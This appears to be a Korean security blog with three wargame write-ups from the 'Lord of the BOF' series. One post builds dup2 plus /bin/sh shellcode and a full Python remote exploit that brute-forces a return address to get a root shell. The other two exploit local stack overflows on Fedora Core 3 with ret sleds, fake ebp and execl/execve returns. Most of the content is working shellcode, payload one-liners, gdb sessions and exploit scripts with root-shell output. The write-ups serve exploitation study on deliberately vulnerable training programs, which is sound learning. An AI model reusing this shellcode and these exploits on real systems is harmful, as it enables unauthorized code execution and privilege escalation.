CTF를 풀때 정말 난감한 환경들이 있다.

예를들어, 특히 우리학교.

우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다.

이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데


dup2+쉘을 이용하면 가능하다.

dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데

원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다.

dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다.

이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다.

그래서, dup2 쉘코드를 먼저 실행시킨후, 특정 명령을 하는 쉘코드를 실행하고, 그 결과를 stdout으로 출력하면, 프린트 결과물이 이미 연결되어있는 소켓을 통해 공격자의 컴퓨터로 전송이 된다.


64비트용과 32비트용의 dup2 쉘코드 예제를 보겠다.


 # ndisasm -b 64 test

00000000  4831C0            xor rax,rax          

00000003  B021              mov al,0x21           ; dup2 콜 번호를 설정한다.

00000005  4831FF            xor rdi,rdi

00000008  40B708            mov dil,0x8           ; fd 번호를 설정한다.

0000000B  4831F6            xor rsi,rsi

0000000E  48FFC6            inc rsi                ; rsi를 1로 맞춰서 stdout에 맞춘다.

00000011  0F05              loadall286

64비트 (stdout만 변경)


# ndisasm -b 32 test

00000000  31C9              xor ecx,ecx

00000002  B102              mov cl,0x2        

00000004  31DB              xor ebx,ebx

00000006  B341              mov bl,0x41          ; fd 번호를 설정한다. (여기선 41)

00000008  31C0              xor eax,eax

0000000A  B03F              mov al,0x3f         ; dup2 시스템콜 번호를 설정한다.

0000000C  CD80              int 0x80         

0000000E  49                dec ecx

0000000F  79F7              jns 0x8

32비트 (stdin,stdout,stderr 모두 변경)


시스템콜번호는 OS마다 다를수도 있으니, 잘 안되면 정확히 확인해봐야 한다.

(지금까지 확인해본 결과로는, 32비트에서는 모두 0x3f로 동일했다.)

그리고, fd값을 구하는 법에 대해서 고민해봤는데,

찾아보니 3이후의 값을 하나씩 넣어보는 사람도 있었고,

좀더 좋은방법은 결국 fd값도 변수일테니, 그 변수의 위치를 찾아서 ebx에 넣어줘도 된다.

(근데, fork를 사용하는 binary의 경우는 어짜피 정해져있기때문에 하나씩 넣어보는것이 편하다.)


그리고나서 metasploit툴에서 제공하는 msfvenom을 이용해 커맨드쉘을 만들고, dup2 뒤에 덮붙이면 된다.

./msfvenom -p linux/x86/exec CMD="/bin/id" -b '\x0a\x00'


좀더 나아가서,


아니면 아예 위에서 보듯이 32비트같은 경우는, 모두 연결해놨기때문에, 리버스텔넷이나 바인드쉘과 같은 효과를 낼수도 있다.


위의 dup2루프 쉘코드와 execve("/bin/sh")를 합쳐서 페이로드로 사용하면 된다.


fd = ??

shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2

shellcode = shellcode.replace("\x41", chr(fd))

# bin/sh

shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

(41바이트 / python)


실험을 해보기위해서, BoF 원정대의 death_knight의 소스를 가져와서 테스트를 해보았다.

 /*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet in.h>
#include <sys/socket.h>
#include <sys/wait.h>

main()
{
char buffer[40];

int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}

if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}

if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}

close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}

death_knight.c


우분투의 환경에서 컴파일 했기때문에, 각종 방어기법을 해제하기 위해서 컴파일 옵션을 줬다.

 gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 death_knight.c


추가로, ASLR을 제거해준다.

echo "0" > /proc/sys/kernel/randomize_va_space 


그리고, /proc/프로세스아이디/fd 를 체크해보면 알겠지만, accept의 소켓번호는 4번이다.

 

그러므로, exploit을 작성해보면

from socket import *
import sys
import time

fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

breakall=0
for a in range(0xff,0x01,-1):
        for b in range(0x00, 0xff, 100):
                #print hex(a) + hex(b)
                payload = ""
                payload += "\x90"*52 
                payload += chr(b)+chr(a)+"\xff\xbf" # return address
                payload += "\x90"*100
                payload += shellcode
                s=socket(AF_INET,SOCK_STREAM)
                s.connect(('127.0.0.1',6666))
                while "You" not in s.recv(1024): pass
                time.sleep(0.0001)
                s.send(payload)
                s.send('id\n')
                get = s.recv(1024)
                #if get: print get
                if get.find('id') is not -1:
                        while True:
                                cmd = raw_input('$ ')
                                if cmd == 'exit':
                                        s.close()
                                        breakall = 1
                                        break
                                s.send(cmd+'\n')
                                result = s.recv(1024)
                                print result
                        s.close()
                else:
                        s.close()
                if breakall == 1:
                        break
        if breakall == 1:
                break


 # python exploit.py 
id
uid=0(root) gid=0(root) groups=0(root)




posted by tunz




/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

dark_eyes.c


이번 문제에서는 fake ebp를 사용못하게 되었습니다.


하지만, execve을 쓰기위해선 ebp 조작이 필요한데, fake ebp말고 다른방법이 하나더 있습니다.

바로 esp를 조작하는 부분입니다.


gate에서는 execl+3 으로 점프하면서 첫 두줄을 실행 안했는데, 그부분을 다시 보자면


 push %ebp

 mov %esp, %ebp


였습니다.


아시겠나요?? 함수가 시작될때 ebp에는 기존의 esp 값을 넣게됩니다.

즉 esp를 조작하면 그값과 같도록 ebp가 설정된다는것을 이용하면 됩니다.


esp를 조작하는방법은 간단합니다.


ret이 실행되면, 스택에서 return address가 저장되었던 부분이 esp가 되면서 리턴이 됩니다.


이 방법을 이용하여, 원하는 esp가 될때까지 계속 ret을 하시면 됩니다.

여기서 말하는 원하는 esp란..


1. esp+8 부터 esp+(8+4n)이 NULL이 나올때까지 랜덤스택이 아닌 주소값을 가르치고 있을 경우.

2. esp+8 에 있는 주소값을 따라갔을때, string으로 잘라내기 쉬운경우.


이 두가지 조건을 만족하는 esp를 찾으면 됩니다.


찾기위해 gdb로 디버깅을 해보겠습니다.


 [iron_golem@Fedora_1stFloor ~]$ gdb -q dark_eyes

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b *main+177

Breakpoint 1 at 0x80484b9

(gdb) r 1

Starting program: /home/iron_golem/dark_eyes 1

(no debugging symbols found)...(no debugging symbols found)...1


Breakpoint 1, 0x080484b9 in main ()

(gdb) x/10x $esp

0xfef470ec:     0x00730e33      0x00000002      0xfef47174      0xfef47180

0xfef470fc:     0x0070eab6      0x0083eff4      0x00000000      0xfef47100

0xfef4710c:     0xfef47148      0xfef470f0

(gdb)



보시면, 0x00730e33이 현재 return address 입니다.


그럼, 이제 esp+8이 될수있는 후보를 찾기위해 0xfef47174부터 쭉 보면 되겠네요.

하지만, 0xfef47174,0xfef47180은 현재 랜덤스택을 가리키고 있으므로 빼겠습니다.


그럼 다음은 0x0070eab6 한번 이 포인터들이 무엇을 가리키고 있는지 보겠습니다.


 (gdb) x/10x 0x0070eab6

0x70eab6 <fixup+150>:   0x83f0558b      0xc18914ec      0xd285c031      0xc9850b74

0x70eac6 <fixup+166>:   0x428b4c74      0x01318b04      0xf8bb8bf0      0x85fffffc

0x70ead6 <fixup+182>:   0x8b0575ff      0x0189e44d


조금 복잡하네요, 스트링으로 잘라내기위해선 좀 많이 길어보입니다.

물론, 억지로 이걸로 할수도 있긴 하지만 다른포인터를 좀더 찾아보겠습니다.


다음차례인 0x0083eff4를 보겠습니다.


(gdb) x/10x 0x83eff4

0x83eff4 <svcauthsw+712>:       0x0083ed3c      0x00730b96      0x00000000      0x00818df0

0x83f004 <svcauthsw+728>:       0x0077f160      0x0077ee70      0x0077f610      0x0077f440

0x83f014 <svcauthsw+744>:       0x00711720      0x0077d430 


0x0083ed3c, null이 보이므로, 스트링으로 끊기 좋아보입니다.

이 포인터를 esp+8로 두겠습니다.

이제 그럼 "\x3c\xed\x83"이 파일명입니다.


그러면, esp를 0xfef47180로 둬야 하겠네요.

즉, 0xfef47180의 자리에다가 execve의 return address를 넣어야합니다.


그 앞부분까지는 ret를 실행하고있는 부분의 address를 넣으면 되구요.


(gdb) x/i $eip

0x80484b9 <main+177>:   ret 


이부분의 address를 사용하면 되겠습니다.


그리고 이제 execve의 주소를 알아보겠습니다.

전에는, execl로 했는데, 이번엔 불가능합니다.

왜냐하면 현재 스택상황을 보면 두번째 argument가 null인데, execl에서는 두번째 argument가 null일경우 segmentation fault가 뜹니다.

그래서, execve를 사용하겠습니다.


(gdb) print execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>


excel의 주소는 "\x90\x54\x7a\x00" 이 되겠네요.


gate와 마찬가지로 이제 shell.c를 짜겠습니다.


int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);


그리고 링크를 걸어줍니다.


[iron_golem@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x3c\x2d\x83"'`


그리고 buf에 얼마만큼 채워야 하는지 봐야 하는데..


굳이 분석할필요없이 사실 소스에 보면 딱 나와있습니다.


sfp부분을 지운다면서 264~267 부분을 지우죠.


그러므로 그냥 gate와 같이 buf의 크기는 264라는것을 알수 있습니다.


이제 공격만 하면 되는데,


구성은


./dark_eyes [A*268][ret*3][execve]


이렇게 공격해주면 되겠네요.


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˜Pëþ¹¹¹Tz

bash-3.00$ my-pass

euid = 502

because of you 


성공했습니다.

posted by tunz

이전 레드햇에서의 BOF원정대와 달라진점은 



 1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다.


2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다.


3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다.


그렇다면, 이를 해결하기위해서 제가 사용할 방법은,


execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다.


좀더 풀어서 설명하자면,


execl의 argument는 다음과 같습니다.

execl(실행할 파일 경로, 인자1, 인자2, ... , 인자n, NULL);


이 execl을 이용해서, [uid를 재설정하고 /bin/sh를 실행시키는 프로그램]을 실행시킬겁니다.

그 프로그램은 직접 간단히 코딩해서 컴파일해둡니다.


그리고, execl은 항상 마지막 argument가 NULL(0) 이어야 합니다.

그러면서, 그 argument의 주소가 랜덤이 아닌곳이어야겠죠.

그 주소가 바로 GOT부분입니다.


GOT부분을 보면 대충 ??????? ???????? 00000000


이런식으로 있을것이고, ebp를 조작해서 저 ????? 부분을 argument로 두고,

?????와 같은 이름의 심볼릭 링크를 만들어놔서, 쉘을 실행시키는 프로그램에 연결해두면 성공입니다.


이제 문제로 들어가면,


 /*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

iron_golem.c


소스는 아주 간단합니다. 단지 환경이 좀 까다롭죠.


우선, GOT의 주소를 구하고, fake ebp를 사용할 address를 기억해두겠습니다.


[gate@Fedora_1stFloor ~]$ objdump -h iron_golem


iron_golem:     file format elf32-i386


Sections:

Idx Name          Size      VMA       LMA       File off  Algn


......


 19 .got          00000004  08049614  08049614  00000614  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 20 .got.plt      0000001c  08049618  08049618  00000618  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 21 .data         0000000c  08049634  08049634  00000634  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 22 .bss          00000004  08049640  08049640  00000640  2**2

                  ALLOC

 23 .comment      00000126  00000000  00000000  00000640  2**0

                  CONTENTS, READONLY

 


objdump로 GOT의 주소를 확인해봅니다.


그리고 gdb로 그 주소를 확인해봅시다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) x/10x 0x8049618

0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x00000000      0x00000000      0x080482ee

0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

0x8049638 <__dso_handle>:       0x00000000      0x08049544 


그럼, 보시다시피 0x8049618부터 첫번째 인자라고 가정할때,


0x084954C가 첫번째 인자인 파일명이 되고,

세번째인자가 NULL이 되므로, argument로 사용하기에 완벽합니다.


그러므로, 저 argment를 사용하기위해 fake ebp를 써야하는데,

왜 fake ebp를 쓰냐면,

argument를 불러올때 ebp를 기준으로 불러오게됩니다.

ebp+8이 첫 argument이고, ebp+C가 두번째 argument이고, 이런식입니다.


그러므로, ebp를 0x8049618 - 8 = 0x8049610 으로 잡아둬야겠죠.


그리고 정확한 파일명을 알아야하기때문에, 0x804954C에 무엇이 들어있는지 보겠습니다.


(gdb) x/4x 0x804954C

0x804954c <_DYNAMIC>:   0x00000001      0x00000024      0x0000000c      0x080482c0


little endian 이므로, 읽으면, 0x01 0x00 0x00 0x00 0x24 이런식이 됩니다.


그렇다면, string은 마지막이 0x00(NULL) 이므로, string으로 본다면 "\x01" 이 되겠네요.

그렇다면 파일명은 "\x01"이 됩니다.


그리고 나중에 사용할 파일 shell.c를 만듭니다.


 int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);

}


shell.c


shell.c 는 shell로 컴파일을 해두고


execl로 리턴시켜서 쉘을 획득해야하기 때문에, execl의 위치와 필요한 address를 가져오겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golem

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) disas execl

Dump of assembler code for function execl:

0x007a5720 <execl+0>:   push   %ebp

0x007a5721 <execl+1>:   mov    %esp,%ebp

0x007a5723 <execl+3>:   lea    0x10(%ebp),%ecx

0x007a5726 <execl+6>:   push   %edi

0x007a5727 <execl+7>:   push   %esi

0x007a5728 <execl+8>:   push   %ebx

0x007a5729 <execl+9>:   sub    $0x1038,%esp

0x007a572f <execl+15>:  mov    0xc(%ebp),%eax



여기서 주의해야할점은 0x007a5720의 주소를 기억해둬야하는것이 아니라,

0x007a5723(execl+3)의 주소를 기억해둬야합니다.


왜냐하면 fake ebp를 사용해서 ebp를 강제로 설정할것인데,

첫 두줄은 ebp와 esp를 다시 세팅하는 장면이기때문입니다.


그러므로 리턴할 주소는 0x007a5723이 됩니다.


이제 마지막으로 심볼릭 링크만 걸면 끝납니다.


[gate@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x01"'`

[gate@Fedora_1stFloor ~]$ ls

?  iron_golem  iron_golem.c  shell  shell.c 


그리고 마지막으로 공격을 하는일만 남았네요.


근데 몇바이트만큼 채워야 하는지 알아야합니다.

fuzzing 을 해서 알아내는 방법도 있지만, 단순히 디버깅을 이용해 알아보겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   %ebp

0x080483d1 <main+1>:    mov    %esp,%ebp

0x080483d3 <main+3>:    sub    $0x108,%esp

0x080483d9 <main+9>:    and    $0xfffffff0,%esp

0x080483dc <main+12>:   mov    $0x0,%eax

0x080483e1 <main+17>:   add    $0xf,%eax

0x080483e4 <main+20>:   add    $0xf,%eax

 ......


메인을 디스어셈 해보니, 로컬변수를 위해서 0x108 만큼 할당된것을 알수있습니다.

사실, 이 방법은 정확한 방법은 아니지만,

이번 문제에서는 로컬변수가 하나밖에 없기때문에, 0x108이 buf의 크기라고 보셔도 무방합니다.


0x108은 10진법으로 264개이기때문에, buf를 위해 264개의 문자를 채우면 됩니다.


즉 공격코드는

./iron_golem ["A"*264][GOT address - 8][execl address + 3]

이 되겠네요.


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

bash-3.00$ my-pass

euid = 501

blood on the fedora 


posted by tunz
  • aex 2013.09.19 22:55

    혹시 해킹공부랑 시스템 공부하신지는 어느 정도 되셨는지 여쭤봐도 될련지요ㅎ?

    • tunz 2013.09.20 14:48 신고

      웹해킹은 작년 9월정도부터 본격적으로 시작했었고,
      시스템해킹은 찾아보니까 작년 11~12월 정도부터 시작한것같네요
      확실히 시스템해킹에 본격적으로 빠진건 올해초라고 기억하고있습니다 ㅎㅎㅎ